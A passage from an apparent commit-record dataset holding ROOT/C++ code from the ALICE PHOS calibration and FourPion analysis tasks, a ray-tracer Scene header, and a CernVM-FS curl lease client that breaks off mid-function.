namePed=\"hPed\";\n namePed+=module;\n TString titlePed=\"Pedestals in module \";\n titlePed+=module;\n hPed[module-1] = new TH2F(namePed.Data(),titlePed.Data(),\n\t\t\t nCol,1.,1.*nCol,nRow,1.,1.*nRow);\n\n TString nameGain=\"hGain\";\n nameGain+=module;\n TString titleGain=\"Gain factors in module \";\n titleGain+=module;\n hGain[module-1] = new TH2F(nameGain.Data(),titleGain.Data(),\n\t\t\t nCol,1.,1.*nCol,nRow,1.,1.*nRow);\n\n for (Int_t column=1; column<=nCol; column++) {\n for (Int_t row=1; row<=nRow; row++) {\n\tFloat_t ped = clb->GetADCpedestalEmc(module,column,row);\n\tFloat_t gain = clb->GetADCchannelEmc (module,column,row);\n\thPed[module-1]->SetBinContent(column,row,ped);\n\thGain[module-1]->SetBinContent(column,row,gain);\n }\n }\n cPed ->cd(module);\n hPed[module-1]->Draw(\"lego2\");\n cGain->cd(module);\n hGain[module-1]->Draw(\"lego2\");\n }\n cPed ->Print(\"pedestals.eps\");\n cGain->Print(\"gains.eps\");\n}\n<commit_msg>New ideal set of calibration parameters and bad channel map, along with a script creating them<commit_after>\/* $Id$ *\/\n\n\/\/ Script to create calibration parameters and store them into CDB\n\/\/ Two sets of calibration parameters can be created:\n\/\/ 1) equal parameters\n\/\/ 2) randomly distributed parameters for decalibrated detector silumations\n\n#if !defined(__CINT__)\n#include \"TControlBar.h\"\n#include \"TString.h\"\n#include \"TRandom.h\"\n#include \"TH2F.h\"\n#include \"TCanvas.h\"\n\n#include \"AliRun.h\"\n#include \"AliPHOSCalibData.h\"\n#include \"AliCDBMetaData.h\"\n#include \"AliCDBId.h\"\n#include \"AliCDBEntry.h\"\n#include \"AliCDBManager.h\"\n#include \"AliCDBStorage.h\"\n#endif\n\nstatic const Int_t nMod = 5;\nstatic const Int_t nCol = 56;\nstatic const Int_t nRow = 64;\n\nvoid AliPHOSSetCDB()\n{\n TControlBar *menu = new TControlBar(\"vertical\",\"PHOS CDB\");\n menu->AddButton(\"Help to run PHOS CDB\",\"Help()\",\n\t\t \"Explains how to use PHOS CDB menus\");\n menu->AddButton(\"Equal CC\",\"SetCC(0)\",\n\t\t \"Set equal CC\");\n menu->AddButton(\"Full decalibration\",\"SetCC(1)\",\n\t\t \"Set random decalibration CC\");\n menu->AddButton(\"Residual decalibration\",\"SetCC(2)\",\n\t\t \"Set residual decalibration calibration coefficients\");\n\n menu->AddButton(\"Read equal CC\",\"GetCC(0)\",\n\t\t \"Read equal calibration coefficients\");\n menu->AddButton(\"Read random CC\",\"GetCC(1)\",\n\t\t \"Read random decalibration calibration coefficients\");\n menu->AddButton(\"Read residual CC\",\"GetCC(2)\",\n\t\t \"Read residial calibration coefficients\");\n menu->AddButton(\"Exit\",\"gApplication->Terminate(0)\",\"Quit aliroot session\");\n menu->Show();\n}\n\n\/\/------------------------------------------------------------------------\nvoid Help()\n{\n TString string=\"\\nSet calibration parameters and write them into ALICE OCDB:\";\n string += \"\\n\\tPress button \\\"Equal CC\\\" to create equal calibration coefficients;\";\n string += \"\\n\\tPress button \\\"Full decalibration\\\" to create \\n\\t random calibration coefficients with 20\\% spread \\n\\t to imitate fully decalibrated detector;\";\n string += \"\\n\\tPress button \\\"Residual decalibration\\\" to create \\n\\t random calibration coefficients with +-2\\% spread\\n\\t to imitate decalibrated detector after initial calibration.\\n\";\n printf(\"%s\",string.Data());\n}\n\n\/\/------------------------------------------------------------------------\nvoid SetCC(Int_t flag=0)\n{\n \/\/ Writing calibration coefficients into the Calibration DB\n \/\/ Arguments:\n \/\/ flag=0: all calibration coefficients are equal\n \/\/ flag=1: decalibration coefficients\n \/\/ flag=2: calibration coefficients equal to inverse decalibration ones\n \/\/ Author: Boris Polishchuk (Boris.Polichtchouk at cern.ch)\n\n TString DBFolder;\n Int_t firstRun = 0;\n Int_t lastRun = 0;\n Int_t beamPeriod = 1;\n char* objFormat = \"\";\n\n AliPHOSCalibData* cdb = 0;\n\n if (flag == 0) {\n DBFolder =\"local:\/\/InitCalibDB\";\n firstRun = 0;\n lastRun = 999999;\n objFormat = \"PHOS initial pedestals and ADC gain factors (5x64x56)\";\n cdb = new AliPHOSCalibData();\n cdb->CreateNew();\n }\n\n else if (flag == 1) {\n DBFolder =\"local:\/\/FullDecalibDB\";\n firstRun = 0;\n lastRun = 999999;\n objFormat = \"PHOS fully decalibrated calibration coefficients (5x64x56)\";\n \n cdb = new AliPHOSCalibData(); \n cdb->RandomEmc(0.8,1.2);\n cdb->RandomCpv(0.0008,0.0016);\n }\n \n else if (flag == 2) {\n DBFolder =\"local:\/\/ResidualCalibDB\";\n firstRun = 0;\n lastRun = 999999;\n objFormat = \"PHOS residual calibration coefficients (5x64x56)\";\n \n cdb = new AliPHOSCalibData(); \n cdb->RandomEmc(0.98,1.02);\n cdb->RandomCpv(0.00115,0.00125);\n }\n \n \/\/Store calibration data into database\n \n AliCDBMetaData md;\n md.SetComment(objFormat);\n md.SetBeamPeriod(beamPeriod);\n md.SetResponsible(\"Boris Polichtchouk\");\n \n AliCDBManager::Instance()->SetDefaultStorage(\"local:\/\/$ALICE_ROOT\");\n if(gSystem->Getenv(\"STORAGE\")){\n cout << \"Setting specific storage\" << endl;\n AliCDBManager::Instance()->SetSpecificStorage(\"PHOS\/*\",DBFolder.Data());\n }\n\n cdb->WriteEmc(firstRun,lastRun,&md);\n cdb->WriteCpv(firstRun,lastRun,&md);\n cdb->WriteEmcBadChannelsMap(firstRun,lastRun,&md);\n\n}\n\n\/\/------------------------------------------------------------------------\nvoid GetCC(Int_t flag=0)\n{\n \/\/ Read calibration coefficients into the Calibration DB\n \/\/ Arguments:\n \/\/ flag=0: all calibration coefficients are equal\n \/\/ flag=1: decalibration coefficients\n \/\/ flag=2: calibration coefficients equal to inverse decalibration ones\n \/\/ Author: Yuri.Kharlov at cern.ch\n\n gStyle->SetPalette(1);\n gStyle->SetOptStat(0);\n TString DBFolder;\n Int_t runNumber;\n\n if (flag == 0) {\n DBFolder =\"local:\/\/InitCalibDB\";\n runNumber = 0;\n }\n else if (flag == 1) {\n DBFolder =\"local:\/\/FullDecalibDB\";\n runNumber = 0;\n }\n else if (flag == 2) {\n DBFolder =\"local:\/\/ResidualCalibDB\";\n runNumber = 0;\n }\n\n AliCDBManager::Instance()->SetDefaultStorage(\"local:\/\/$ALICE_ROOT\");\n if(gSystem->Getenv(\"STORAGE\")){\n cout << \"Setting specific storage\" << endl;\n AliCDBManager::Instance()->SetSpecificStorage(\"PHOS\/*\",DBFolder.Data());\n }\n\n AliPHOSCalibData* clb = new AliPHOSCalibData(runNumber);\n\n TH2::AddDirectory(kFALSE);\n\n TH2F* hGain[5];\n\n TCanvas *cGain = new TCanvas(\"cGain\",\"PHOS EMC Gain factors\",10,10,700,500);\n cGain->Divide(3,2);\n\n for (Int_t module=1; module<=nMod; module++) {\n TString nameGain=\"hGain\";\n nameGain+=module;\n TString titleGain=\"Gain factors in module \";\n titleGain+=module;\n hGain[module-1] = new TH2F(nameGain.Data(),titleGain.Data(),\n\t\t\t nCol,1.,1.*nCol,nRow,1.,1.*nRow);\n\n for (Int_t column=1; column<=nCol; column++) {\n for (Int_t row=1; row<=nRow; row++) {\n Float_t gain = clb->GetADCchannelEmc (module,column,row);\n\thGain[module-1]->SetBinContent(column,row,gain);\n }\n }\n cGain->cd(module);\n hGain[module-1]->SetMinimum(0);\n hGain[module-1]->Draw(\"colz\");\n }\n cGain->Print(\"gains.eps\");\n}\n<|endoftext|>"} {"text":"<commit_before>\nvoid ProofEnableAliRoot(const char* location = \"\/usr\/local\/grid\/AliRoot\/v4-05-Release\")\n{\n \/\/ enables a locally deployed AliRoot in a PROOF cluster\n\n printf(\"Load libraries: %s \\n\",location);\n gProof->Exec(Form(\"TString str(gSystem->ExpandPathName(\\\"%s\\\")); gSystem->Setenv(\\\"ALICE_ROOT\\\", str);\", location), kTRUE);\n\n gProof->AddIncludePath(Form(\"%s\/include\", location));\n gProof->AddIncludePath(Form(\"%s\/TPC\", location));\n gProof->AddIncludePath(Form(\"%s\/PWG0\", location));\n gProof->AddIncludePath(Form(\"%s\/PWG0\/dNdPt\", location));\n gProof->AddIncludePath(Form(\"%s\/ANALYSIS\", location));\n\n gProof->AddDynamicPath(Form(\"%s\/lib\/tgt_linuxx8664gcc\", location));\n\n \/\/ load all libraries\n gProof->Exec(\"gROOT->Macro(\\\"$ALICE_ROOT\/PWG0\/dNdPt\/macros\/LoadMyLibs.C\\\")\",kTRUE);\n}\n\n \n<commit_msg>small correction<commit_after>\nvoid ProofEnableAliRootGSI(const char* location = \"\/usr\/local\/grid\/AliRoot\/v4-05-Release\")\n{\n \/\/ enables a locally deployed AliRoot in a PROOF cluster\n\n printf(\"Load libraries: %s \\n\",location);\n gProof->Exec(Form(\"TString str(gSystem->ExpandPathName(\\\"%s\\\")); gSystem->Setenv(\\\"ALICE_ROOT\\\", str);\", location), kTRUE);\n\n gProof->AddIncludePath(Form(\"%s\/include\", location));\n gProof->AddIncludePath(Form(\"%s\/TPC\", location));\n gProof->AddIncludePath(Form(\"%s\/PWG0\", location));\n gProof->AddIncludePath(Form(\"%s\/PWG0\/dNdPt\", location));\n gProof->AddIncludePath(Form(\"%s\/ANALYSIS\", location));\n\n gProof->AddDynamicPath(Form(\"%s\/lib\/tgt_linuxx8664gcc\", location));\n\n \/\/ load all libraries\n gProof->Exec(\"gROOT->Macro(\\\"$ALICE_ROOT\/PWG0\/dNdPt\/macros\/LoadMyLibs.C\\\")\",kTRUE);\n}\n\n \n<|endoftext|>"} {"text":"<commit_before>AliFourPion *AddTaskFourPion(\n\t\t\t Bool_t MCcase=kFALSE,\n\t\t\t Bool_t TabulatePairs=kFALSE,\n\t\t\t\t Int_t CentBinLowLimit=0, \n\t\t\t\t Int_t CentBinHighLimit=1,\n\t\t\t\t TString StWeightName=\"alien:\/\/\/alice\/cern.ch\/user\/d\/dgangadh\/WeightFile_FourPion.root\",\n\t\t\t\t TString StMomResName=\"alien:\/\/\/alice\/cern.ch\/user\/d\/dgangadh\/MomResFile_FourPion.root\",\n\t\t\t\t TString StKName=\"alien:\/\/\/alice\/cern.ch\/user\/d\/dgangadh\/KFile_FourPion.root\",\n\t\t\t\t TString StMuonName=\"alien:\/\/\/alice\/cern.ch\/user\/d\/dgangadh\/MuonCorrection_FourPion.root\",\n\t\t\t\t TString StEAName=\"alien:\/\/\/alice\/cern.ch\/user\/d\/dgangadh\/c3EAfile.root\"\n\t\t\t ) {\n \n \/\/===========================================================================\n AliAnalysisManager *mgr = AliAnalysisManager::GetAnalysisManager();\n if (!mgr) {\n ::Error(\"AddTaskFourPion\", \"No analysis manager to connect to.\");\n return NULL;\n }\n \n\n \/\/____________________________________________\/\/\n \/\/ Create task\n AliFourPion *FourPionTask = new AliFourPion(\"FourPionTask\");\n if(!FourPionTask) return NULL;\n FourPionTask->SetLEGOCase(kTRUE);\n FourPionTask->SetMCdecision(MCcase);\n FourPionTask->SetCollisionType(0);\n FourPionTask->SetGenerateSignal(kFALSE);\n FourPionTask->SetTabulatePairs(TabulatePairs);\n FourPionTask->SetInterpolationType(kFALSE);\n FourPionTask->SetCentBinRange(CentBinLowLimit, CentBinHighLimit);\n FourPionTask->SetRMax(11);\n FourPionTask->SetfcSq(0.7);\n FourPionTask->SetFilterBit(7);\n FourPionTask->SetMaxChi2NDF(10);\n FourPionTask->SetMinTPCncls(0);\n FourPionTask->SetPairSeparationCutEta(0.02);\n FourPionTask->SetPairSeparationCutPhi(0.045);\n FourPionTask->SetNsigmaTPC(2.0);\n FourPionTask->SetNsigmaTOF(2.0);\n \/\/\n FourPionTask->SetMixedChargeCut(kFALSE);\n FourPionTask->SetMinPt(0.16);\n FourPionTask->SetMaxPt(1.0);\n FourPionTask->SetKT3transition(0.3);\n FourPionTask->SetKT4transition(0.3);\n mgr->AddTask(FourPionTask);\n\n\n \/\/ Create ONLY the output containers for the data produced by the task.\n \/\/ Get and connect other common input\/output containers via the manager as below\n \/\/==============================================================================\n TString outputFileName = AliAnalysisManager::GetCommonFileName();\n outputFileName += \":PWGCF.outputFourPionAnalysis.root\";\n AliAnalysisDataContainer *coutFourPion = mgr->CreateContainer(\"FourPionOutput\", TList::Class(),AliAnalysisManager::kOutputContainer,outputFileName.Data());\n mgr->ConnectInput(FourPionTask, 0, mgr->GetCommonInputContainer());\n mgr->ConnectOutput(FourPionTask, 1, coutFourPion);\n \n\n TFile *inputFileWeight = 0;\n TFile *inputFileMomRes = 0;\n TFile *inputFileFSI = 0;\n TFile *inputFileMuon = 0;\n TFile *inputFileEA = 0;\n \n if(!TabulatePairs){\n inputFileWeight = TFile::Open(StWeightName,\"OLD\");\n if (!inputFileWeight){\n cout << \"Requested file:\" << inputFileWeight << \" was not opened. ABORT.\" << endl;\n return NULL;\n }\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ C2 Weight File\n const Int_t ktbins_temp = FourPionTask->GetNumKtBins();\n const Int_t cbins_temp = FourPionTask->GetNumCentBins(); \n const Int_t ktbins = ktbins_temp;\n const Int_t cbins = cbins_temp;\n\n TH3F *weightHisto[ktbins][cbins];\n for(Int_t i=0; i<ktbins; i++){\n for(Int_t j=0; j<cbins; j++){\n\tTString name = \"Weight_Kt_\";\n\tname += i;\n\tname += \"_Ky_0_M_\";\n\tname += j;\n\tname += \"_ED_0\";\n\t\n\tweightHisto[i][j] = (TH3F*)inputFileWeight->Get(name);\n }\n }\n FourPionTask->SetWeightArrays( kTRUE, weightHisto );\n \/\/\n \/\/\n inputFileEA = TFile::Open(StEAName,\"OLD\");\n if (!inputFileEA){\n cout << \"Requested file:\" << inputFileEA << \" was not opened. ABORT.\" << endl;\n return NULL;\n }\n TH3D *PbPbEA = 0;\n TH3D *pPbEA = 0;\n TH3D *ppEA = 0;\n PbPbEA = (TH3D*)inputFileEA->Get(\"PbPbEA\");\n pPbEA = (TH3D*)inputFileEA->Get(\"pPbEA\");\n ppEA = (TH3D*)inputFileEA->Get(\"ppEA\");\n FourPionTask->Setc3FitEAs( kTRUE, PbPbEA, pPbEA, ppEA );\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n }\/\/ TabulatePairs check\n \n if(!MCcase && !TabulatePairs){\n \n inputFileMomRes = TFile::Open(StMomResName,\"OLD\");\n if (!inputFileMomRes){\n cout << \"Requested file:\" << inputFileMomRes << \" was not opened. ABORT.\" << endl;\n return NULL;\n }\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ Momentum Resolution File\n TH2D *momResHisto2DSC = 0;\n TH2D *momResHisto2DMC = 0;\n momResHisto2DSC = (TH2D*)inputFileMomRes->Get(\"MRC_C2_SC\");\n momResHisto2DMC = (TH2D*)inputFileMomRes->Get(\"MRC_C2_MC\");\n FourPionTask->SetMomResCorrections( kTRUE, momResHisto2DSC, momResHisto2DMC );\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n \/\/ Muon corrections\n inputFileMuon = TFile::Open(StMuonName,\"OLD\");\n if (!inputFileMuon){\n cout << \"Requested file:\" << inputFileMuon << \" was not opened. ABORT.\" << endl;\n return NULL;\n }\n TH2D *muonHisto2D = 0;\n muonHisto2D = (TH2D*)inputFileMuon->Get(\"WeightmuonCorrection\");\n FourPionTask->SetMuonCorrections( kTRUE, muonHisto2D);\n\n }\/\/ MCcase and TabulatePairs check\n \n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ FSI File\n inputFileFSI = TFile::Open(StKName,\"OLD\");\n if (!inputFileFSI){\n cout << \"Requested file:\" << inputFileFSI << \" was not opened. ABORT.\" << endl;\n return NULL;\n } \n TH1D *FSIss[12];\n TH1D *FSIos[12];\n for(Int_t index=0; index<12; index++) {\n TString *nameSS=new TString(\"K2ss_\");\n *nameSS += index;\n FSIss[index] = (TH1D*)inputFileFSI->Get(nameSS->Data());\n TString *nameOS=new TString(\"K2os_\");\n *nameOS += index;\n FSIos[index] = (TH1D*)inputFileFSI->Get(nameOS->Data());\n \/\/\n FSIss[index]->SetDirectory(0);\n FSIos[index]->SetDirectory(0);\n }\n \/\/\n FourPionTask->SetFSICorrelations( kTRUE, FSIss, FSIos );\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \n \n \/\/ Return the task pointer\n return FourPionTask;\n}\n<commit_msg>Include extra FSI bin for pp and pPb<commit_after>AliFourPion *AddTaskFourPion(\n\t\t\t Bool_t MCcase=kFALSE,\n\t\t\t Bool_t TabulatePairs=kFALSE,\n\t\t\t\t Int_t CentBinLowLimit=0, \n\t\t\t\t Int_t CentBinHighLimit=1,\n\t\t\t\t TString StWeightName=\"alien:\/\/\/alice\/cern.ch\/user\/d\/dgangadh\/WeightFile_FourPion.root\",\n\t\t\t\t TString StMomResName=\"alien:\/\/\/alice\/cern.ch\/user\/d\/dgangadh\/MomResFile_FourPion.root\",\n\t\t\t\t TString StKName=\"alien:\/\/\/alice\/cern.ch\/user\/d\/dgangadh\/KFile_FourPion.root\",\n\t\t\t\t TString StMuonName=\"alien:\/\/\/alice\/cern.ch\/user\/d\/dgangadh\/MuonCorrection_FourPion.root\",\n\t\t\t\t TString StEAName=\"alien:\/\/\/alice\/cern.ch\/user\/d\/dgangadh\/c3EAfile.root\"\n\t\t\t ) {\n \n \/\/===========================================================================\n AliAnalysisManager *mgr = AliAnalysisManager::GetAnalysisManager();\n if (!mgr) {\n ::Error(\"AddTaskFourPion\", \"No analysis manager to connect to.\");\n return NULL;\n }\n \n\n \/\/____________________________________________\/\/\n \/\/ Create task\n AliFourPion *FourPionTask = new AliFourPion(\"FourPionTask\");\n if(!FourPionTask) return NULL;\n FourPionTask->SetLEGOCase(kTRUE);\n FourPionTask->SetMCdecision(MCcase);\n FourPionTask->SetCollisionType(0);\n FourPionTask->SetGenerateSignal(kFALSE);\n FourPionTask->SetTabulatePairs(TabulatePairs);\n FourPionTask->SetInterpolationType(kFALSE);\n FourPionTask->SetCentBinRange(CentBinLowLimit, CentBinHighLimit);\n FourPionTask->SetRMax(11);\n FourPionTask->SetfcSq(0.7);\n FourPionTask->SetFilterBit(7);\n FourPionTask->SetMaxChi2NDF(10);\n FourPionTask->SetMinTPCncls(0);\n FourPionTask->SetPairSeparationCutEta(0.02);\n FourPionTask->SetPairSeparationCutPhi(0.045);\n FourPionTask->SetNsigmaTPC(2.0);\n FourPionTask->SetNsigmaTOF(2.0);\n \/\/\n FourPionTask->SetMixedChargeCut(kFALSE);\n FourPionTask->SetMinPt(0.16);\n FourPionTask->SetMaxPt(1.0);\n FourPionTask->SetKT3transition(0.3);\n FourPionTask->SetKT4transition(0.3);\n mgr->AddTask(FourPionTask);\n\n\n \/\/ Create ONLY the output containers for the data produced by the task.\n \/\/ Get and connect other common input\/output containers via the manager as below\n \/\/==============================================================================\n TString outputFileName = AliAnalysisManager::GetCommonFileName();\n outputFileName += \":PWGCF.outputFourPionAnalysis.root\";\n AliAnalysisDataContainer *coutFourPion = mgr->CreateContainer(\"FourPionOutput\", TList::Class(),AliAnalysisManager::kOutputContainer,outputFileName.Data());\n mgr->ConnectInput(FourPionTask, 0, mgr->GetCommonInputContainer());\n mgr->ConnectOutput(FourPionTask, 1, coutFourPion);\n \n\n TFile *inputFileWeight = 0;\n TFile *inputFileMomRes = 0;\n TFile *inputFileFSI = 0;\n TFile *inputFileMuon = 0;\n TFile *inputFileEA = 0;\n \n if(!TabulatePairs){\n inputFileWeight = TFile::Open(StWeightName,\"OLD\");\n if (!inputFileWeight){\n cout << \"Requested file:\" << inputFileWeight << \" was not opened. ABORT.\" << endl;\n return NULL;\n }\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ C2 Weight File\n const Int_t ktbins_temp = FourPionTask->GetNumKtBins();\n const Int_t cbins_temp = FourPionTask->GetNumCentBins(); \n const Int_t ktbins = ktbins_temp;\n const Int_t cbins = cbins_temp;\n\n TH3F *weightHisto[ktbins][cbins];\n for(Int_t i=0; i<ktbins; i++){\n for(Int_t j=0; j<cbins; j++){\n\tTString name = \"Weight_Kt_\";\n\tname += i;\n\tname += \"_Ky_0_M_\";\n\tname += j;\n\tname += \"_ED_0\";\n\t\n\tweightHisto[i][j] = (TH3F*)inputFileWeight->Get(name);\n }\n }\n FourPionTask->SetWeightArrays( kTRUE, weightHisto );\n \/\/\n \/\/\n inputFileEA = TFile::Open(StEAName,\"OLD\");\n if (!inputFileEA){\n cout << \"Requested file:\" << inputFileEA << \" was not opened. ABORT.\" << endl;\n return NULL;\n }\n TH3D *PbPbEA = 0;\n TH3D *pPbEA = 0;\n TH3D *ppEA = 0;\n PbPbEA = (TH3D*)inputFileEA->Get(\"PbPbEA\");\n pPbEA = (TH3D*)inputFileEA->Get(\"pPbEA\");\n ppEA = (TH3D*)inputFileEA->Get(\"ppEA\");\n FourPionTask->Setc3FitEAs( kTRUE, PbPbEA, pPbEA, ppEA );\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n }\/\/ TabulatePairs check\n \n if(!MCcase && !TabulatePairs){\n \n inputFileMomRes = TFile::Open(StMomResName,\"OLD\");\n if (!inputFileMomRes){\n cout << \"Requested file:\" << inputFileMomRes << \" was not opened. ABORT.\" << endl;\n return NULL;\n }\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ Momentum Resolution File\n TH2D *momResHisto2DSC = 0;\n TH2D *momResHisto2DMC = 0;\n momResHisto2DSC = (TH2D*)inputFileMomRes->Get(\"MRC_C2_SC\");\n momResHisto2DMC = (TH2D*)inputFileMomRes->Get(\"MRC_C2_MC\");\n FourPionTask->SetMomResCorrections( kTRUE, momResHisto2DSC, momResHisto2DMC );\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n \/\/ Muon corrections\n inputFileMuon = TFile::Open(StMuonName,\"OLD\");\n if (!inputFileMuon){\n cout << \"Requested file:\" << inputFileMuon << \" was not opened. ABORT.\" << endl;\n return NULL;\n }\n TH2D *muonHisto2D = 0;\n muonHisto2D = (TH2D*)inputFileMuon->Get(\"WeightmuonCorrection\");\n FourPionTask->SetMuonCorrections( kTRUE, muonHisto2D);\n\n }\/\/ MCcase and TabulatePairs check\n \n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ FSI File\n inputFileFSI = TFile::Open(StKName,\"OLD\");\n if (!inputFileFSI){\n cout << \"Requested file:\" << inputFileFSI << \" was not opened. ABORT.\" << endl;\n return NULL;\n } \n TH1D *FSIss[13];\n TH1D *FSIos[13];\n for(Int_t index=0; index<13; index++) {\n TString *nameSS=new TString(\"K2ss_\");\n *nameSS += index;\n FSIss[index] = (TH1D*)inputFileFSI->Get(nameSS->Data());\n TString *nameOS=new TString(\"K2os_\");\n *nameOS += index;\n FSIos[index] = (TH1D*)inputFileFSI->Get(nameOS->Data());\n \/\/\n FSIss[index]->SetDirectory(0);\n FSIos[index]->SetDirectory(0);\n }\n \/\/\n FourPionTask->SetFSICorrelations( kTRUE, FSIss, FSIos );\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \n \n \/\/ Return the task pointer\n return FourPionTask;\n}\n<|endoftext|>"} {"text":"<commit_before>\/* \n * File: Scene.hpp\n * Author: Benedikt Vogler\n *\n * Created on 8. Juli 2014, 18:54\n *\/\n\n#ifndef SCENE_HPP\n#define\tSCENE_HPP\n\n#include \"Material.hpp\"\n#include \"Camera.hpp\"\n#include \"LightPoint.hpp\"\n#include \"RenderObject.hpp\"\n#include <map>\n\nstruct Scene {\n std::map<std::string, Material> materials;\n std::map<std::string, LightPoint> lights;\n std::map<std::string, std::shared_ptr<RenderObject>> renderObjects;\n Camera camera;\n std::string camname;\n int resX;\n int resY;\n std::string outputFile;\n Color amb;\n int antialiase;\n bool random;\n \n\/\/ \/\/manual destructor needed?\n\/\/ ~Scene(){\n\/\/ for (auto itr=materials.begin(); itr !=materials.end();++itr) {\n\/\/ materials.erase(itr);\n\/\/ }\n\/\/ for (auto itr=lights.begin(); itr !=lights.end();++itr) {\n\/\/ lights.erase(itr);\n\/\/ }\n\/\/ for (auto itr=renderObjects.begin(); itr !=renderObjects.end();++itr) {\n\/\/ renderObjects.erase(itr);\n\/\/ }\n\/\/ }\n};\n\n\n#endif\t\/* SCENE_HPP *\/\n\n<commit_msg>Compatible with VS<commit_after>\/* \n * File: Scene.hpp\n * Author: Benedikt Vogler\n *\n * Created on 8. Juli 2014, 18:54\n *\/\n\n#ifndef SCENE_HPP\n#define\tSCENE_HPP\n\n#include \"Material.hpp\"\n#include \"Camera.hpp\"\n#include \"LightPoint.hpp\"\n#include \"RenderObject.hpp\"\n#include <map>\n#include <memory>\n\nstruct Scene {\n std::map<std::string, Material> materials;\n std::map<std::string, LightPoint> lights;\n std::map<std::string, std::shared_ptr<RenderObject>> renderObjects;\n Camera camera;\n std::string camname;\n int resX;\n int resY;\n std::string outputFile;\n Color amb;\n int antialiase;\n bool random;\n \n\/\/ \/\/manual destructor needed?\n\/\/ ~Scene(){\n\/\/ for (auto itr=materials.begin(); itr !=materials.end();++itr) {\n\/\/ materials.erase(itr);\n\/\/ }\n\/\/ for (auto itr=lights.begin(); itr !=lights.end();++itr) {\n\/\/ lights.erase(itr);\n\/\/ }\n\/\/ for (auto itr=renderObjects.begin(); itr !=renderObjects.end();++itr) {\n\/\/ renderObjects.erase(itr);\n\/\/ }\n\/\/ }\n};\n\n\n#endif\t\/* SCENE_HPP *\/\n\n<|endoftext|>"} {"text":"<commit_before>\/**\n * This file is part of the CernVM File System.\n *\/\n\n#include \"swissknife_lease_curl.h\"\n\n#include \"cvmfs_config.h\"\n\nsize_t RecvCB(void* buffer, size_t size, size_t nmemb, void* userp) {\n CurlBuffer* my_buffer = static_cast<CurlBuffer*>(userp);\n\n if (size * nmemb < 1) {\n return 0;\n }\n\n my_buffer->data = static_cast<char*>(buffer);\n\n return my_buffer->data.size();\n}\n\nCURL* PrepareCurl(const char* method) {\n const char* user_agent_string = \"cvmfs\/\" VERSION;\n\n CURL* h_curl = curl_easy_init();\n\n if (h_curl) {\n curl_easy_setopt(h_curl, CURLOPT_NOPROGRESS, 1L);\n curl_easy_setopt(h_curl, CURLOPT_USERAGENT, user_agent_string);\n curl_easy_setopt(h_curl, CURLOPT_MAXREDIRS, 50L);\n curl_easy_setopt(h_curl, CURLOPT_CUSTOMREQUEST, method);\n curl_easy_setopt(h_curl, CURLOPT_TCP_KEEPALIVE, 1L);\n }\n\n return h_curl;\n}\n\nbool MakeAcquireRequest(const std::string& user_name,\n const std::string& repo_path,\n const std::string& repo_service_url,\n CurlBuffer* buffer) {\n CURLcode ret = static_cast<CURLcode>(0);\n\n CURL* h_curl = PrepareCurl(\"POST\");\n if (!h_curl) {\n return false;\n }\n\n \/\/ Make request to acquire lease from repo services\n curl_easy_setopt(h_curl, CURLOPT_URL,\n (repo_service_url + REPO_SERVICES_API_ROOT +\n \"\/leases?user=\" + user_name + \"&path=\" + repo_path)\n .c_str());\n curl_easy_setopt(h_curl, CURLOPT_POSTFIELDSIZE_LARGE,\n static_cast<curl_off_t>(0));\n curl_easy_setopt(h_curl, CURLOPT_WRITEFUNCTION, RecvCB);\n curl_easy_setopt(h_curl, CURLOPT_WRITEDATA, buffer);\n\n ret = curl_easy_perform(h_curl);\n\n curl_easy_cleanup(h_curl);\n h_curl = NULL;\n\n return !ret;\n}\n\nbool MakeDeleteRequest(const std::string& session_token,\n const std::string& repo_service_url,\n CurlBuffer* buffer) {\n CURLcode ret = static_cast<CURLcode>(0);\n\n CURL* h_curl = PrepareCurl(\"DELETE\");\n if (!h_curl) {\n return false;\n }\n curl_easy_setopt(\n h_curl, CURLOPT_URL,\n (repo_service_url + REPO_SERVICES_API_ROOT + \"\/leases\/\" + session_token)\n .c_str());\n curl_easy_setopt(h_curl, CURLOPT_POSTFIELDSIZE_LARGE,\n static_cast<curl_off_t>(0));\n curl_easy_setopt(h_curl, CURLOPT_POSTFIELDS, 